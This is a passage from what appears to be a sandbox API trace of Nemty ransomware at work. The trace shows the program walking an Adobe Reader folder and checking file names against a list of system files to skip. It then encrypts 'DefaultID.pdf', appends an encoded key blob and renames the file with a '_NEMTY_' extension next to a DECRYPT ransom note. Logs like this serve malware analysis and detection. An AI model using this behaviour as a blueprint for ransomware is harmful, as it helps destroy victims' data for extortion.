hHeap=0x4f90000) returned 1 [0171.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0171.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0171.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0171.891] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1043a, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0171.891] lstrcmpiW (lpString1="DefaultID.pdf", lpString2=".") returned 1 [0171.891] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="..") returned 1 [0171.891] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="...") returned 1 [0171.891] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="windows") returned -1 [0171.891] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0171.891] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="rsa") returned -1 [0171.891] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="NTDETECT.COM") returned -1 [0171.891] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntldr") returned -1 [0171.891] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="MSDOS.SYS") returned -1 [0171.891] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="IO.SYS") returned -1 [0171.891] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0171.891] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0171.891] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0171.891] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntuser.dat") returned -1 [0171.891] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="desktop.ini") returned -1 [0171.891] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="CONFIG.SYS") returned 1 [0171.891] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="RECYCLER") returned -1 [0171.891] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="BOOTSECT.BAK") returned 1 [0171.891] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="bootmgr") returned 1 [0171.891] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="programdata") returned -1 [0171.891] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="appdata") returned 1 [0171.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.892] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.892] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.892] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.892] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0171.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0171.892] Sleep (dwMilliseconds=0x5) [0171.894] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a1a93d0, dwHighDateTime=0x1d561e8)) [0171.894] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a1a93d0, dwHighDateTime=0x1d561e8)) [0171.894] GetLastError () returned 0x0 [0171.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.894] GetLastError () returned 0x0 [0171.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.894] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0171.894] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0171.895] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0171.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0171.895] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e5dc | out: pszString="TwsSFMvs3G8VylvXy2ECiucyzqiYwQgaX6PORCQDKO+5pYZIPIk9eMhEnATp1p4a\r\noG/khtZgDopBHopYu1Hr57B/yG96pvXf9cnIhdpuUj86wHn9bfGIX7sH/8uS0wW4\r\ne0YyrkJkYhfIL1sH7jKGWqeYXs+PBHdzSrmq6UXJGhq5ewXOKckqeM6WOKe6MeRw\r\nWYMWEVsP1nNNifjsviCQeE8AZX7cE0jAcka8lujEkuEoUiYqrLEwiLUEFZscnudt\r\nBBiaAI8AIueG6yF2hNjGBOK3VqiM680peLMF+E7azzGQsNdTcCICl4EbrUvJgIxS\r\niCLubJhGKA5wswOvlmhgSw==\r\n", pcchString=0x653e5dc) returned 1 [0171.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0171.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0171.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0171.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0171.895] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nor\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0171.895] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=66618) returned 1 [0171.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10430) returned 0x6352c48 [0171.895] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.895] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x10430, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x10430, lpOverlapped=0x0) returned 1 [0171.901] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.901] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x10430, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x10430, lpOverlapped=0x0) returned 1 [0171.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0171.901] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=66618, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1043a [0171.901] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340198*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340198*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0171.901] CloseHandle (hObject=0x3b0) returned 1 [0171.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0171.901] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.901] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.902] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0171.902] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0171.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0171.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.902] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nor\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\DefaultID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nor\\defaultid.pdf._nemty_kgobjgd_")) returned 1 [0171.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0171.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0171.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0171.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0171.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0171.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.902] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a136fb0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1a136fb0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a136fb0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0171.902] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0171.902] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0171.902] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0171.902] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0171.902] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0171.902] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0171.902] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0171.902] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0171.902] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0171.903] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0171.903] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0171.903] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0171.903] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0171.903] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0171.903] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0171.903] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0171.903] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0171.903] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0171.903] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0171.903] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0171.903] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0171.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.903] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.903] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.903] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0171.903] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.903] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.903] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.903] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0171.903] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.903] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.903] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.903] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.903] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.903] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.903] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340198 [0171.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0171.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.904] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a136fb0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1a136fb0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a136fb0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0171.904] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0171.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0171.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0171.904] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="POL", cAlternateFileName="")) returned 1 [0171.904] lstrcmpiW (lpString1="POL", lpString2=".") returned 1 [0171.904] lstrcmpiW (lpString1="POL", lpString2="..") returned 1 [0171.904] lstrcmpiW (lpString1="POL", lpString2="...") returned 1 [0171.904] lstrcmpiW (lpString1="POL", lpString2="windows") returned -1 [0171.904] lstrcmpiW (lpString1="POL", lpString2="$RECYCLE.BIN") returned 1 [0171.904] lstrcmpiW (lpString1="POL", lpString2="rsa") returned -1 [0171.904] lstrcmpiW (lpString1="POL", lpString2="NTDETECT.COM") returned 1 [0171.904] lstrcmpiW (lpString1="POL", lpString2="ntldr") returned 1 [0171.904] lstrcmpiW (lpString1="POL", lpString2="MSDOS.SYS") returned 1 [0171.904] lstrcmpiW (lpString1="POL", lpString2="IO.SYS") returned 1 [0171.904] lstrcmpiW (lpString1="POL", lpString2="boot.ini") returned 1 [0171.904] lstrcmpiW (lpString1="POL", lpString2="boot.ini") returned 1 [0171.904] lstrcmpiW (lpString1="POL", lpString2="AUTOEXEC.BAT") returned 1 [0171.904] lstrcmpiW (lpString1="POL", lpString2="ntuser.dat") returned 1 [0171.904] lstrcmpiW (lpString1="POL", lpString2="desktop.ini") returned 1 [0171.904] lstrcmpiW (lpString1="POL", lpString2="CONFIG.SYS") returned 1 [0171.904] lstrcmpiW (lpString1="POL", lpString2="RECYCLER") returned -1 [0171.904] lstrcmpiW (lpString1="POL", lpString2="BOOTSECT.BAK") returned 1 [0171.904] lstrcmpiW (lpString1="POL", lpString2="bootmgr") returned 1 [0171.904] lstrcmpiW (lpString1="POL", lpString2="programdata") returned -1 [0171.904] lstrcmpiW (lpString1="POL", lpString2="appdata") returned 1 [0171.904] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="POL", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0171.904] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="POL", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="POL", lpUsedDefaultChar=0x0) returned 3 [0171.904] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="POL", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0171.905] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="POL", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="POL", lpUsedDefaultChar=0x0) returned 3 [0171.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0171.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63400d0 [0171.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, 